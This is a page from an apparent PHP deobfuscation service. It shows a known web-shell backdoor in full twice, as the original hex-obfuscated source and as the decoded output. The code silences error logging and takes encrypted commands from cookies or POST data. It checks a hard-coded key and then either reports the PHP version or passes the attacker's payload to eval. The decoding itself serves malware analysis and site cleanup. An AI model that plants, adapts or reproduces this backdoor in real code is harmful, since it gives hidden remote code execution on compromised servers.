Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $ { "\x47\x4cOB\x41\x4cS" } ["\x68\x76\x72\x74x\x69"] = "\x61\x75th"; $ ..
Decoded Output download
<?php
$
{
"GLOBALS"
}
["hvrtxi"] = "auth";
$
{
"GLOBALS"
}
["lwuffgd"] = "data_key";
$
{
"GLOBALS"
}
["kqmpkztvjy"] = "value";
$
{
"GLOBALS"
}
["emhlsyaen"] = "out_data";
$
{
"GLOBALS"
}
["gprcgurctw"] = "key";
$
{
"GLOBALS"
}
["aszpkkhenn"] = "j";
$
{
"GLOBALS"
}
["tijgxywy"] = "i";
$
{
"GLOBALS"
}
["iblnehdk"] = "data";
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (!defined("PHP_EOL"))
{
define("PHP_EOL", "
");
}
if (!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
$
{
$
{
"GLOBALS"
}
["iblnehdk"]
} = NULL;
$
{
"GLOBALS"
}
["souskpnmbw"] = "data";
$aysxyhokafll = "data_key";
$yxjeetzrlad = "data_key";
$
{
$yxjeetzrlad
} = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
function sh_decrypt_phase($data, $key)
{
$ffnnqis = "data";
$saybmtl = "out_data";
$
{
$saybmtl
} = "";
for ($
{
$
{
"GLOBALS"
}
["tijgxywy"]
} = 0; $
{
$
{
"GLOBALS"
}
["tijgxywy"]
} < strlen($
{
$ffnnqis
});)
{
$
{
"GLOBALS"
}
["vxdvwdmsb"] = "j";
$
{
"GLOBALS"
}
["heowkan"] = "i";
$shgiqyj = "data";
for ($
{
$
{
"GLOBALS"
}
["aszpkkhenn"]
} = 0; $
{
$
{
"GLOBALS"
}
["aszpkkhenn"]
} < strlen($
{
$
{
"GLOBALS"
}
["gprcgurctw"]
}) && $
{
$
{
"GLOBALS"
}
["tijgxywy"]
} < strlen($
{
$shgiqyj
}); $
{
$
{
"GLOBALS"
}
["vxdvwdmsb"]
}
++, $
{
$
{
"GLOBALS"
}
["heowkan"]
}
++)
{
$
{
"GLOBALS"
}
["qvtpphqpdq"] = "data";
$
{
"GLOBALS"
}
["vwizqlycx"] = "i";
$
{
$
{
"GLOBALS"
}
["emhlsyaen"]
}.= chr(ord($
{
$
{
"GLOBALS"
}
["qvtpphqpdq"]
}
[$
{
$
{
"GLOBALS"
}
["vwizqlycx"]
}
]) ^ ord($
{
$
{
"GLOBALS"
}
["gprcgurctw"]
}
[$
{
$
{
"GLOBALS"
}
["aszpkkhenn"]
}
]));
}
}
return $
{
$
{
"GLOBALS"
}
["emhlsyaen"]
};
}
$insfkk = "data";
function sh_decrypt($data, $key)
{
global $auth;
$vuuogtpxiqk = "auth";
return sh_decrypt_phase(sh_decrypt_phase($
{
$
{
"GLOBALS"
}
["iblnehdk"]
}
, $
{
$vuuogtpxiqk
}) , $
{
$
{
"GLOBALS"
}
["gprcgurctw"]
});
}
foreach($_COOKIE as $
{
$
{
"GLOBALS"
}
["gprcgurctw"]
} => $
{
$
{
"GLOBALS"
}
["kqmpkztvjy"]
})
{
$
{
"GLOBALS"
}
["kjyvpu"] = "data_key";
$zoamkqrgbfh = "value";
$
{
"GLOBALS"
}
["jovduifbno"] = "data";
$
{
$
{
"GLOBALS"
}
["jovduifbno"]
} = $
{
$zoamkqrgbfh
};
$
{
$
{
"GLOBALS"
}
["kjyvpu"]
} = $
{
$
{
"GLOBALS"
}
["gprcgurctw"]
};
}
if (!$
{
$
{
"GLOBALS"
}
["iblnehdk"]
})
{
$
{
"GLOBALS"
}
["ljwyfqzjjl"] = "value";
foreach($_POST as $
{
$
{
"GLOBALS"
}
["gprcgurctw"]
} => $
{
$
{
"GLOBALS"
}
["ljwyfqzjjl"]
})
{
$ipgrvdc = "data";
$
{
"GLOBALS"
}
["yfufrsc"] = "value";
$
{
$ipgrvdc
} = $
{
$
{
"GLOBALS"
}
["yfufrsc"]
};
$
{
$
{
"GLOBALS"
}
["lwuffgd"]
} = $
{
$
{
"GLOBALS"
}
["gprcgurctw"]
};
}
}
$
{
$
{
"GLOBALS"
}
["souskpnmbw"]
} = @unserialize(sh_decrypt(@base64_decode($
{
$insfkk
}) , $
{
$aysxyhokafll
}));
$
{
"GLOBALS"
}
["paywhrpfv"] = "data";
if (isset($
{
$
{
"GLOBALS"
}
["paywhrpfv"]
}
["ak"]) && $
{
$
{
"GLOBALS"
}
["hvrtxi"]
} == $
{
$
{
"GLOBALS"
}
["iblnehdk"]
}
["ak"])
{
$ydnczfxqgq = "data";
if ($
{
$
{
"GLOBALS"
}
["iblnehdk"]
}
["a"] == "i")
{
$
{
$
{
"GLOBALS"
}
["tijgxywy"]
} = Array(
"pv" => @phpversion() ,
"sv" => "1.0-1",
);
echo @serialize($
{
$
{
"GLOBALS"
}
["tijgxywy"]
});
}
elseif ($
{
$ydnczfxqgq
}
["a"] == "e")
{
$mwvvynwbxyi = "data";
eval($
{
$mwvvynwbxyi
}
["d"]);
}
exit();
}
?>
Did this file decode correctly?
Original Code
<?php
$
{
"\x47\x4cOB\x41\x4cS"
}
["\x68\x76\x72\x74x\x69"] = "\x61\x75th";
$
{
"\x47\x4c\x4f\x42AL\x53"
}
["l\x77\x75\x66fg\x64"] = "\x64a\x74\x61\x5f\x6b\x65\x79";
$
{
"G\x4c\x4fBA\x4c\x53"
}
["\x6b\x71m\x70\x6bztv\x6a\x79"] = "va\x6cu\x65";
$
{
"\x47\x4c\x4f\x42\x41\x4cS"
}
["\x65mhl\x73\x79ae\x6e"] = "o\x75\x74_\x64\x61\x74\x61";
$
{
"\x47L\x4f\x42\x41LS"
}
["\x67\x70\x72\x63\x67u\x72c\x74w"] = "\x6b\x65y";
$
{
"\x47\x4cO\x42\x41\x4c\x53"
}
["\x61\x73\x7apkkhe\x6e\x6e"] = "\x6a";
$
{
"\x47\x4c\x4f\x42A\x4c\x53"
}
["\x74i\x6a\x67\x78\x79wy"] = "i";
$
{
"\x47\x4c\x4fB\x41\x4c\x53"
}
["ib\x6c\x6e\x65\x68\x64k"] = "\x64at\x61";
@ini_set("er\x72\x6f\x72\x5fl\x6fg", NULL);
@ini_set("log_\x65\x72r\x6f\x72s", 0);
@ini_set("\x6da\x78_ex\x65\x63u\x74\x69on\x5ftim\x65", 0);
@set_time_limit(0);
if (!defined("PHP\x5f\x45O\x4c"))
{
define("P\x48P\x5fEO\x4c", "\n");
}
if (!defined("\x44\x49\x52\x45CTORY\x5fS\x45\x50\x41R\x41\x54OR"))
{
define("\x44IRE\x43T\x4f\x52\x59_SEP\x41R\x41T\x4f\x52", "/");
}
$
{
$
{
"G\x4cOBA\x4c\x53"
}
["\x69\x62ln\x65\x68d\x6b"]
} = NULL;
$
{
"\x47\x4c\x4f\x42A\x4cS"
}
["\x73\x6fu\x73\x6bpn\x6db\x77"] = "\x64a\x74a";
$aysxyhokafll = "d\x61\x74\x61_\x6be\x79";
$yxjeetzrlad = "\x64\x61ta_\x6bey";
$
{
$yxjeetzrlad
} = NULL;
$GLOBALS["a\x75t\x68"] = "\x34\x65f\x36\x33a\x62e-1abd-45\x61\x36-\x39\x31\x33\x64-6\x66\x62\x3996\x35\x37e\x324\x62";
global $auth;
function sh_decrypt_phase($data, $key)
{
$ffnnqis = "da\x74\x61";
$saybmtl = "\x6f\x75t_\x64\x61t\x61";
$
{
$saybmtl
} = "";
for ($
{
$
{
"\x47\x4cO\x42\x41\x4c\x53"
}
["\x74\x69j\x67\x78\x79\x77\x79"]
} = 0; $
{
$
{
"\x47LO\x42A\x4c\x53"
}
["\x74\x69j\x67xy\x77\x79"]
} < strlen($
{
$ffnnqis
});)
{
$
{
"G\x4c\x4fB\x41LS"
}
["\x76xd\x76\x77\x64m\x73b"] = "\x6a";
$
{
"\x47\x4cO\x42\x41\x4cS"
}
["\x68\x65\x6fw\x6ba\x6e"] = "\x69";
$shgiqyj = "\x64\x61\x74a";
for ($
{
$
{
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x61\x73z\x70k\x6b\x68\x65n\x6e"]
} = 0; $
{
$
{
"\x47\x4c\x4f\x42A\x4c\x53"
}
["\x61\x73\x7a\x70\x6bk\x68\x65\x6e\x6e"]
} < strlen($
{
$
{
"\x47L\x4f\x42\x41\x4cS"
}
["\x67\x70r\x63\x67\x75\x72\x63\x74\x77"]
}) && $
{
$
{
"G\x4c\x4f\x42\x41\x4cS"
}
["t\x69jg\x78\x79\x77\x79"]
} < strlen($
{
$shgiqyj
}); $
{
$
{
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x76\x78\x64\x76w\x64\x6ds\x62"]
}
++, $
{
$
{
"G\x4c\x4f\x42A\x4c\x53"
}
["h\x65ow\x6ba\x6e"]
}
++)
{
$
{
"G\x4c\x4fBAL\x53"
}
["\x71\x76\x74\x70\x70\x68qp\x64\x71"] = "\x64a\x74\x61";
$
{
"G\x4cOB\x41\x4c\x53"
}
["\x76\x77iz\x71\x6c\x79\x63\x78"] = "i";
$
{
$
{
"G\x4c\x4fB\x41\x4c\x53"
}
["\x65m\x68\x6c\x73\x79a\x65\x6e"]
}.= chr(ord($
{
$
{
"\x47L\x4fB\x41\x4c\x53"
}
["\x71v\x74p\x70\x68qp\x64\x71"]
}
[$
{
$
{
"G\x4cO\x42A\x4cS"
}
["\x76\x77\x69z\x71\x6c\x79\x63\x78"]
}
]) ^ ord($
{
$
{
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["g\x70\x72c\x67\x75r\x63\x74\x77"]
}
[$
{
$
{
"G\x4cO\x42\x41\x4c\x53"
}
["\x61\x73zp\x6b\x6b\x68e\x6e\x6e"]
}
]));
}
}
return $
{
$
{
"\x47L\x4fB\x41L\x53"
}
["\x65mh\x6cs\x79a\x65\x6e"]
};
}
$insfkk = "\x64\x61\x74\x61";
function sh_decrypt($data, $key)
{
global $auth;
$vuuogtpxiqk = "\x61u\x74\x68";
return sh_decrypt_phase(sh_decrypt_phase($
{
$
{
"\x47L\x4fBAL\x53"
}
["\x69b\x6c\x6e\x65h\x64\x6b"]
}
, $
{
$vuuogtpxiqk
}) , $
{
$
{
"G\x4cO\x42\x41\x4cS"
}
["\x67p\x72\x63\x67\x75\x72ct\x77"]
});
}
foreach($_COOKIE as $
{
$
{
"G\x4cO\x42\x41\x4c\x53"
}
["g\x70rcg\x75\x72\x63\x74\x77"]
} => $
{
$
{
"\x47LO\x42\x41\x4c\x53"
}
["\x6b\x71\x6d\x70\x6b\x7a\x74v\x6ay"]
})
{
$
{
"\x47L\x4fBA\x4c\x53"
}
["k\x6a\x79v\x70\x75"] = "d\x61t\x61_k\x65\x79";
$zoamkqrgbfh = "v\x61l\x75e";
$
{
"\x47\x4cO\x42ALS"
}
["jov\x64uif\x62n\x6f"] = "\x64\x61\x74a";
$
{
$
{
"G\x4cOB\x41L\x53"
}
["j\x6f\x76d\x75\x69f\x62\x6eo"]
} = $
{
$zoamkqrgbfh
};
$
{
$
{
"\x47\x4cO\x42\x41\x4c\x53"
}
["\x6b\x6a\x79\x76\x70\x75"]
} = $
{
$
{
"\x47\x4c\x4f\x42AL\x53"
}
["g\x70\x72\x63gur\x63\x74\x77"]
};
}
if (!$
{
$
{
"\x47LO\x42\x41\x4c\x53"
}
["\x69\x62l\x6e\x65\x68dk"]
})
{
$
{
"\x47\x4c\x4f\x42\x41\x4cS"
}
["l\x6aw\x79f\x71\x7a\x6aj\x6c"] = "\x76\x61l\x75e";
foreach($_POST as $
{
$
{
"\x47\x4c\x4fB\x41\x4c\x53"
}
["g\x70\x72cg\x75\x72\x63\x74w"]
} => $
{
$
{
"\x47\x4cOBAL\x53"
}
["l\x6a\x77\x79\x66q\x7a\x6a\x6a\x6c"]
})
{
$ipgrvdc = "\x64\x61ta";
$
{
"\x47\x4c\x4f\x42ALS"
}
["\x79\x66\x75fr\x73c"] = "\x76\x61l\x75e";
$
{
$ipgrvdc
} = $
{
$
{
"G\x4cOB\x41\x4c\x53"
}
["\x79\x66\x75\x66r\x73c"]
};
$
{
$
{
"\x47L\x4f\x42ALS"
}
["\x6cw\x75\x66\x66\x67d"]
} = $
{
$
{
"\x47L\x4fB\x41LS"
}
["\x67\x70r\x63\x67urc\x74w"]
};
}
}
$
{
$
{
"GLOB\x41\x4c\x53"
}
["sou\x73\x6bp\x6emb\x77"]
} = @unserialize(sh_decrypt(@base64_decode($
{
$insfkk
}) , $
{
$aysxyhokafll
}));
$
{
"\x47\x4c\x4f\x42A\x4cS"
}
["\x70a\x79w\x68\x72\x70\x66\x76"] = "\x64\x61\x74a";
if (isset($
{
$
{
"G\x4c\x4f\x42A\x4c\x53"
}
["\x70\x61\x79w\x68rp\x66\x76"]
}
["ak"]) && $
{
$
{
"\x47\x4c\x4f\x42\x41L\x53"
}
["h\x76\x72\x74x\x69"]
} == $
{
$
{
"\x47\x4c\x4f\x42\x41LS"
}
["\x69\x62\x6cn\x65\x68\x64\x6b"]
}
["\x61k"])
{
$ydnczfxqgq = "\x64\x61t\x61";
if ($
{
$
{
"G\x4cO\x42A\x4cS"
}
["\x69bl\x6e\x65\x68\x64k"]
}
["a"] == "i")
{
$
{
$
{
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x74ij\x67xy\x77\x79"]
} = Array(
"\x70v" => @phpversion() ,
"\x73\x76" => "1.0-\x31",
);
echo @serialize($
{
$
{
"GL\x4f\x42\x41\x4c\x53"
}
["\x74\x69\x6a\x67x\x79\x77\x79"]
});
}
elseif ($
{
$ydnczfxqgq
}
["a"] == "\x65")
{
$mwvvynwbxyi = "\x64\x61\x74\x61";
eval($
{
$mwvvynwbxyi
}
["\x64"]);
}
exit();
}
?>
Function Calls
None |
Stats
MD5 | 61099b5c4d4601c40d6a60c478287e55 |
Eval Count | 0 |
Decode Time | 90 ms |